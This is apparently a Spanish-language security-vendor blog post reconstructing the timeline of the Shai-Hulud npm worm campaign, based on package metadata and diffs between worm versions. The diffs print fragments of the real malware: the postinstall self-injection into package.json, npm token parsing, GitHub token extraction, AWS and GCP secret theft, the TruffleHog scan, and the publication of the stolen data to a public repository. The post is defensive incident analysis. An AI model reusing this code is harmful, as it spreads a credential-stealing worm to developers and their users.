Aikido

Bugs en Shai-Hulud: Depurando el desierto

Escrito por
Charlie Eriksen

Hola, internet, soy yo de nuevo, trayéndoles más noticias alegres. 

Ayer, me tomé el tiempo para sentarme y profundizar realmente en las cargas útiles de Shai Hulud. Y noté algo emocionante, lo que me llevó por la madriguera del conejo (o más bien, el agujero de gusano) de analizar la línea de tiempo del ataque con mayor profundidad. Esto es lo que vi:

Algo aquí no está del todo bien...

¿Notas cómo hay múltiples package.json y bundle.js archivos? Sí, eso es un error en cómo el gusano Shai Hulud se incrusta. No reemplazaría los package.json y bundle.js; simplemente añadió otra copia de ellos. No solo eso, sino que también nos proporciona marcas de tiempo completas y el nombre de usuario del usuario local que realizó el cambio.

También vemos múltiples versiones DIFERENTES del gusano. Esto nos permite obtener mucha información sobre la cronología de los eventos y cómo estaban depurando las cosas en vivo. Ya sabes lo que eso significa: es hora de sacar nuestras palas y empezar a excavar.

¿Cómo comenzó el ataque?

Una de las grandes preguntas que teníamos era: ¿Cuál fue el primer compromiso? ¿Cómo lograron los atacantes que el gusano comenzara a propagarse? Inmediatamente quedó claro al examinar los metadatos de los archivos de npm. La respuesta fue simple:

Los atacantes sembraron un número significativo de paquetes con el propio malware. Lo más probable es que utilizaran tokens de NPM robados del ataque original de Nx. ¿Cómo podemos saberlo? Por los metadatos de usuario en los archivos. Para aquellos que no lo sepan, Kali es el nombre de una distribución de Linux utilizada por profesionales de la seguridad, no por desarrolladores normales. Pero vemos esta huella en los primeros 49 paquetes, con un total de 67 versiones.

Intento fallido

Los atacantes no tuvieron éxito al principio, como evidenció el hecho de que lanzaron múltiples versiones de algunos paquetes. Echemos un vistazo a rxnt-authentication, que es el primer paquete malicioso que creemos que se lanzó el 14-09-2025 a las 17:58:50 UTC (Versión 0.0.3). La imagen al principio de la publicación es de la versión 0.0.6, que fue la cuarta versión que lanzaron los atacantes. Aquí está la sección de scripts del primer elemento insertado por el atacante package.json:

¿Ves el error?

¿Notas algo extraño? La capitalización de postInstall es incorrecta. La i ¡no debería ir en mayúscula! Si hacemos un diff de los 2 primeros bundle.js archivos, podemos ver que los atacantes finalmente lo descubrieron:

--- prettified/bundle-1.js	2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postInstall = "node bundle.js"),
+              ((n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];
@@ -168266,67 +168266,90 @@
             architecture: this.mapArchitecture(this.systemInfo.architecture),
           };
         }

Además de solucionar esto, los atacantes realizaron varios cambios más. Les haré un favor a los atacantes y publicaré el changelog por ellos, ya que no lo incluyeron:

🛠️ Mejoras

  • Módulo TruffleHog:
    • El tiempo de espera para TruggleHog se redujo de 120 segundos a 90 segundos.
    • Se corrigió una condición de carrera al intentar ejecutar TruffleHog antes de que se descargara el binario.
  • Se reemplazó una referencia al robo de credenciales de Azure por GCP.
  • Se aumentó el número de paquetes npm que infectará de 10 a 20.

Claramente, los atacantes tenían la intención de robar credenciales de Azure, pero optaron por GCP en su lugar. Y decidieron duplicar el número de paquetes en los que se propagaría el gusano.

Otro error

El 14-09-2025 a las 20:43:42, los atacantes lanzaron otro lote de paquetes, siendo la primera la versión 0.0.4 de rxnt-authentication con la capitalización corregida de postinstall. Luego vemos, aproximadamente 20 minutos después, el 14-09-2025 a las 21:03:17, que también lanzaron una versión 0.0.5 con un cambio interesante:

--- prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postinstall = "node bundle.js"),
+              (n.scripts || (n.scripts = {}),
+                (n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];

Cambiaron su script para insertar solo el postinstall script si la clave 'scripts' existe en el package.json. Parece que los atacantes se estaban preparando para atacar los ngx-bootstrap paquetes, lo cual hicieron el 15 de septiembre de 2025 a la 01:12. Aquí está el package.json:

{
  "name": "ngx-bootstrap",
  "version": "20.0.3",
  "description": "Angular Bootstrap",
  "author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
  "license": "MIT",
  "schematics": "./schematics/collection.json",
  "peerDependencies": {
    "@angular/animations": "^20.0.2",
    "@angular/common": "^20.0.2",
    "@angular/core": "^20.0.2",
    "@angular/forms": "^20.0.2",
    "rxjs": "^6.5.3 || ^7.4.0"
  },
  "dependencies": {
    "tslib": "^2.3.0"
  },
  "exports": {
    ...
    ".": {
      "types": "./index.d.ts",
      "default": "./fesm2022/ngx-bootstrap.mjs"
    }
  },
  "sideEffects": false,
  "publishConfig": {
    "registry": "https://registry.npmjs.org/",
    "tag": "next"
  },
  "repository": {
    "type": "git",
    "url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
  },
  "bugs": {
    "url": "https://github.com/valor-software/ngx-bootstrap/issues"
  },
  "homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
  "keywords": [
    "angular",
    "bootstap",
    "ng",
    "ng2",
    "angular2",
    "twitter-bootstrap"
  ],
  "module": "fesm2022/ngx-bootstrap.mjs",
  "typings": "index.d.ts"
}

 ¿Se da cuenta de que no hay scripts? Intentar ejecutar el gusano en este paquete no funcionaría. Así que lo arreglaron. Y vemos que el paquete también fue modificado por un kali usuario:

El paquete ngx-bootstrap, también sembrado por los atacantes.

Claramente, este paquete fue subido por los propios atacantes después de haber depurado por qué su gusano fallaba al intentar infectar este paquete.

Más correcciones

En la versión 0.0.6 de rxnt-authentication, vemos más cambios (Recortado un poco por brevedad). 

--- prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js	2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
     },
     26935: (t) => {
       t.exports =
-        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n    exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
     },
     26937: (t, r, n) => {
       (n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
         }
       }
     },
-    32304: (t, r, n) => {
-      (n.r(r), n.d(r, { Application: () => Application }));
-      class Application {
-        constructor(t) {
-          this.config = t;
-        }
-        getConfig() {
-          return { ...this.config };
-        }
-        getRuntimeInfo() {
-          return {
-            nodeVersion: process.version,
-            platform: process.platform,
-            architecture: process.arch,
-            timestamp: new Date(),
-          };
-        }
-      }
-    },
     32348: (t, r, n) => {
       (n.r(r),
         n.d(r, {
@@ -125245,29 +125226,10 @@
         te = n(72438);
     },
     54704: (t, r, n) => {
-      (n.r(r),
-        n.d(r, {
-          exitWithCode: () => exitWithCode,
-          formatOutput: () => formatOutput,
-          logError: () => logError,
-          logInfo: () => logInfo,
-          parseNpmToken: () => parseNpmToken,
-        }));
+      (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
       var F = n(79896),
         te = n(16928),
         re = n(70857);
-      function formatOutput(t) {
-        return JSON.stringify(t, null, 2);
-      }
-      function logInfo(t) {
-        console.log(`[INFO] ${t}`);
-      }
-      function logError(t) {
-        console.error(`[ERROR] ${t}`);
-      }
-      function exitWithCode(t) {
-        process.exit(t);
-      }
       function parseNpmToken(t) {
         const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
           n = t
@@ -156119,7 +156081,7 @@
               await this.octokit.rest.repos.createForAuthenticatedUser({
                 name: t,
                 description: "Shai-Hulud Repository.",
-                private: !0,
+                private: !1,
                 auto_init: !1,
                 has_issues: !1,
                 has_projects: !1,
@@ -156140,11 +156102,6 @@
                     ),
                   ).toString("base64"),
                 })),
-              await this.octokit.rest.repos.update({
-                owner: n.owner.login,
-                repo: n.name,
-                private: !1,
-              }),
               {
                 owner: n.owner.login,
                 repo: n.name,
@@ -156178,20 +156135,6 @@
             return [];
           }
         }
-        async repoExists(t) {
-          try {
-            const r = await this.octokit.rest.users.getAuthenticated();
-            return (
-              await this.octokit.rest.repos.get({
-                owner: r.data.login,
-                repo: t,
-              }),
-              !0
-            );
-          } catch {
-            return !1;
-          }
-        }
       }
     },
     82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
 __webpack_require__.r(__webpack_exports__);
 var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
   _lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
-  _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
-  _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
-  _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
-  _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
-  _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
-  _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+  _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+  _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+  _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+  _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+  _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
 async function main() {
-  const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
-      name: "System Info App",
-      version: "1.0.0",
-      description: "Optimizes system.",
-    }),
-    r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
-    n = t.getRuntimeInfo(),
-    F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
-    te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
-    re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
-    ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
-  let oe = process.env.NPM_TOKEN;
-  oe ||
-    (oe =
+  const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+    r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+    n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+    F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+    te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+  let re = process.env.NPM_TOKEN;
+  re ||
+    (re =
       (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
-  const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
-  let se = null,
-    ae = !1;
+  const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+  let oe = null,
+    ie = !1;
   if (
-    F.isAuthenticated() &&
+    r.isAuthenticated() &&
     ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
       (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
   ) {
-    const t = F.getCurrentToken(),
-      r = await F.getUser();
-    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
-      await F.extraction(t);
-      const n = await F.getOrgs();
-      for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+    const t = r.getCurrentToken(),
+      n = await r.getUser();
+    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+      await r.extraction(t);
+      const F = await r.getOrgs();
+      for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
     }
   }
-  const [ce, le] = await Promise.all([
+  const [se, ae] = await Promise.all([
     (async () => {
       try {
         if (
-          ((se = await ie.validateToken()),
-          (ae = !!se),
-          se &&
+          ((oe = await ne.validateToken()),
+          (ie = !!oe),
+          oe &&
             ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
               (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
         ) {
-          const t = await ie.getPackagesByMaintainer(se, 20);
+          const t = await ne.getPackagesByMaintainer(oe, 20);
           await Promise.all(
             t.map(async (t) => {
               try {
-                await ie.updatePackage(t);
+                await ne.updatePackage(t);
               } catch (t) {}
             }),
           );
         }
       } catch (t) {}
-      return { npmUsername: se, npmTokenValid: ae };
+      return { npmUsername: oe, npmTokenValid: ie };
     })(),
     (async () => {
-      const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+      if (process.env.SKIP_TRUFFLE)
+        return {
+          available: !1,
+          installed: !1,
+          version: null,
+          platform: null,
+          results: null,
+        };
+      const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
       let n = null;
       return (
-        t && (n = await ne.scanFilesystem()),
+        t && (n = await te.scanFilesystem()),
         {
           available: t,
-          installed: ne.isInstalled(),
+          installed: te.isInstalled(),
           version: r,
-          platform: ne.getSupportedPlatform(),
+          platform: te.getSupportedPlatform(),
           results: n,
         }
       );
     })(),
   ]);
-  ((se = ce.npmUsername), (ae = ce.npmTokenValid));
-  let ue = [];
-  (await te.isValid()) && (ue = await te.getAllSecretValues());
-  let de = [];
-  (await re.isValid()) && (de = await re.getAllSecretValues());
-  const pe = {
-    application: t.getConfig(),
+  ((oe = se.npmUsername), (ie = se.npmTokenValid));
+  let ce = [];
+  (await n.isValid()) && (ce = await n.getAllSecretValues());
+  let le = [];
+  (await F.isValid()) && (le = await F.getAllSecretValues());
+  const ue = {
     system: {
-      platform: r.platform,
-      architecture: r.architecture,
-      platformDetailed: r.platformRaw,
-      architectureDetailed: r.archRaw,
+      platform: t.platform,
+      architecture: t.architecture,
+      platformDetailed: t.platformRaw,
+      architectureDetailed: t.archRaw,
     },
-    runtime: n,
     environment: process.env,
     modules: {
       github: {
-        authenticated: F.isAuthenticated(),
-        token: F.getCurrentToken(),
+        authenticated: r.isAuthenticated(),
+        token: r.getCurrentToken(),
+        username: r.getUser(),
       },
-      aws: { secrets: ue },
-      gcp: { secrets: de },
-      truffleHog: le,
-      npm: { token: oe, authenticated: ae, username: se },
+      aws: { secrets: ce },
+      gcp: { secrets: le },
+      truffleHog: ae,
+      npm: { token: re, authenticated: ie, username: oe },
     },
   };
-  (F.isAuthenticated() &&
-    !F.repoExists("Shai-Hulud") &&
-    (await F.makeRepo(
-      "Shai-Hulud",
-      (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
-    )),
-    (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+  (r.isAuthenticated() &&
+    (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+    process.exit(0));
 }
 main().catch((t) => {
   process.exit(0);

Aquí están algunas notas del parche:

✨ Nuevas características

  • Escaneo condicional de TruffleHog: Ahora puede omitir el escaneo del sistema de archivos de TruffleHog configurando la SKIP_TRUFFLE variable de entorno. 

🛠️ Mejoras

  • Migración de Repositorio Mejorada: El script de migración ahora elimina automáticamente el .github/workflows directorio de los repositorios migrados. 
  • Repositorios Públicos por Defecto: El repositorio de GitHub creado para almacenar los datos del sistema recopilados ahora se crea como público por defecto, en lugar de hacerse público después de haber sido creado como privado.
  • Eliminada la Verificación repoExists: Se ha eliminado la verificación para comprobar si el repositorio Shai-Hulud ya existe. El script ahora intentará crearlo en cada ejecución, confiando en el comportamiento de GitHub para manejar los casos en los que el repositorio ya existe.

Primera propagación comunitaria

Según este análisis, la primera propagación comunitaria ocurrió a través del paquete capacitor-plugin-healthapp versión 0.0.2 el 15 de septiembre de 2025 a las 04:54.

El primer caso de propagación comunitaria observado

Es el primer paquete donde vemos que el archivo tiene un usuario que no es kali

¿Cómo fue comprometido tinycolor?

El informe inicial de esta campaña se centró en gran medida en el paquete tinycolor. ¡Así que vamos a analizarlo! La primera versión maliciosa de @ctrl/tinycolor fue la versión 4.1.1, lanzada el 15 de septiembre de 2025 a las 19:52. 

El paquete tinycolor fue probablemente sembrado por los atacantes

Pero mira, otro kali! Este paquete no fue comprometido a través de la propagación comunitaria, lo más probable, sino por los atacantes que intentaron sembrar otro paquete para iniciar el gusano.

¿Cómo fue comprometido CrowdStrike?

Aquí está el paquete @crowdstrike/foundry-js versión 0.19.1, lanzado el 16 de septiembre de 2025 a las 01:14. Observa que el usuario kali también modificó esto..

Los paquetes de CrowdStrike probablemente fueron introducidos por los atacantes.

Esto indica que los atacantes tenían credenciales para CrowdStrike y las usaron para iniciar otra oleada del ataque.

¿Cómo fue comprometido NativeScript?

Al hablar con Daniel Pereira, quien fue el primero en alertar a la comunidad sobre esta campaña, se dio cuenta porque observó que había afectado al ecosistema de NativeScript. El primer paquete fue @nativescript-community/arraybuffers versión 1.1.6 el 15 de septiembre de 2025 a las 09:16:

Un claro caso de propagación comunitaria.

Eventos clave

Aquí tienes una cronología de los eventos significativos durante la campaña. 

Hora de publicación (UTC) Paquete / Versión Notas
2025-09-14 17:58 rxnt-authentication @ 0.0.3 Primera versión maliciosa, postinstall con capitalización incorrecta
2025-09-14 20:43 rxnt-authentication @ 0.0.4 Corrige el problema de capitalización en el gusano.
2025-09-14 21:03 rxnt-authentication @ 0.0.5 Corrige el error que causaba que el gusano fallara cuando un archivo package.json no contenía scripts previamente.
2025-09-15 01:12 ngx-bootstrap @ 20.0.3 Primer paquete ngx-bootstrap comprometido sembrado por los atacantes, después de corregir el error cuando un paquete no tiene scripts.
2025-09-15 04:54 capacitor-plugin-healthapp @ 0.0.2 Detectada la primera propagación comunitaria.
2025-09-15 09:16 @nativescript-community/arraybuffers @ 1.1.6 Primer paquete NativeScript comprometido a través de la propagación comunitaria.
2025-09-15 15:45 rxnt-authentication @ 0.0.6 Los atacantes sembraron otra versión, con más correcciones para el gusano.
2025-09-15 19:52 @ctrl/tinycolor @ 4.1.1 La primera versión maliciosa de tinycolor, propagada por los atacantes.
2025-09-16 01:14 @crowdstrike/foundry-js @ 0.19.1 Los paquetes de CrowdStrike son sembrados con malware por los atacantes.

¿Y ahora qué?

Esta campaña de Shai Hulud representa una escalada significativa respecto al ataque original de S1ngularity, que comenzó con Nx. Observamos que los atacantes realizaron múltiples intentos para corregir errores y lograr que el gusano comenzara a propagarse por el ecosistema de npm. La explicación más lógica que hemos encontrado es que los atacantes han estado guardando credenciales que robaron del ataque original, esperando el momento adecuado para utilizarlas.

Por lo tanto, podemos observar a los atacantes sembrando múltiples rondas de ataques a lo largo de varios días, ya que su intento no comenzó a propagarse inmediatamente con una velocidad significativa. No estaban satisfechos con la lentitud de su propagación, lo cual es mucha suerte para nosotros. 

Pero esto plantea una verdad incómoda: si han estado guardando estas credenciales durante varias semanas y ahora tienen AÚN MÁS credenciales que han podido robar, es probable que no sea lo último que veamos de ellos. Por ahora, el gusano no ha logrado todavía la velocidad de escape para volverse verdaderamente viral. 

Sería insensato asumir que los atacantes utilizaron sus mejores bazas, en términos de las credenciales que tienen guardadas. Todavía no está claro cuál es el incentivo y el motivo de los atacantes, lo que sugiere que esta saga no ha terminado. Parece más que probable que nos espera una trilogía de una historia aún por contar. Y ahora mismo, no creo que el final sea feliz. 

Compartir:

https://www.aikido.dev/blog/bugs-in-shai-hulud-debugging-the-desert

Suscríbase para recibir noticias sobre amenazas.

Empieza hoy mismo, gratis.

Empieza gratis
Escanear ahora
Sin tarjeta

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.